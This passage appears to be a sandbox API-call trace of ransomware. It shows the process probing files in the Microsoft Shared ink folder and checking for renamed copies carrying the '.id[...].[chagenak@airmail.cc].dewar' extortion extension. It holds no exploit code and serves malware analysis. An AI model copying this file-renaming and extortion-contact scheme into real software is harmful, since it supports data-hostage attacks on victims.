files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.266] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27045) returned 1 [0217.266] CloseHandle (hObject=0x1c4) returned 1 [0217.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0217.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0217.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.268] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=193024) returned 1 [0217.268] CloseHandle (hObject=0x1c4) returned 1 [0217.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0217.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0217.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.271] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0217.272] CloseHandle (hObject=0x1c4) returned 1 [0217.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0217.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0217.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.274] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0217.274] CloseHandle (hObject=0x1c4) returned 1 [0217.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0217.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0217.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0217.669] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0217.669] CloseHandle (hObject=0x1d8) returned 1 [0217.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0217.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0217.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.112] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=89600) returned 1 [0218.112] CloseHandle (hObject=0x1c8) returned 1 [0218.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0218.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0218.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.114] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=33280) returned 1 [0218.114] CloseHandle (hObject=0x1c8) returned 1 [0218.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0218.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0218.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.115] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=62976) returned 1 [0218.116] CloseHandle (hObject=0x1c8) returned 1 [0218.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0218.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0218.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.117] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=197120) returned 1 [0218.117] CloseHandle (hObject=0x1c8) returned 1 [0218.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0218.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0218.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.120] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=224256) returned 1 [0218.120] CloseHandle (hObject=0x1c8) returned 1 [0218.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0218.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0218.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.123] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8704) returned 1 [0218.123] CloseHandle (hObject=0x1c8) returned 1 [0218.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0218.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0218.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.125] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4608) returned 1 [0218.125] CloseHandle (hObject=0x1c8) returned 1 [0218.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0218.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0218.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.390] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9216) returned 1 [0218.391] CloseHandle (hObject=0x1e0) returned 1 [0218.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0218.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0218.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.393] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0218.394] CloseHandle (hObject=0x1e0) returned 1 [0218.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0218.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0218.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.395] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3072) returned 1 [0218.395] CloseHandle (hObject=0x1e0) returned 1 [0218.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0218.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0218.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.398] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0218.398] CloseHandle (hObject=0x1e0) returned 1 [0218.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0218.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" 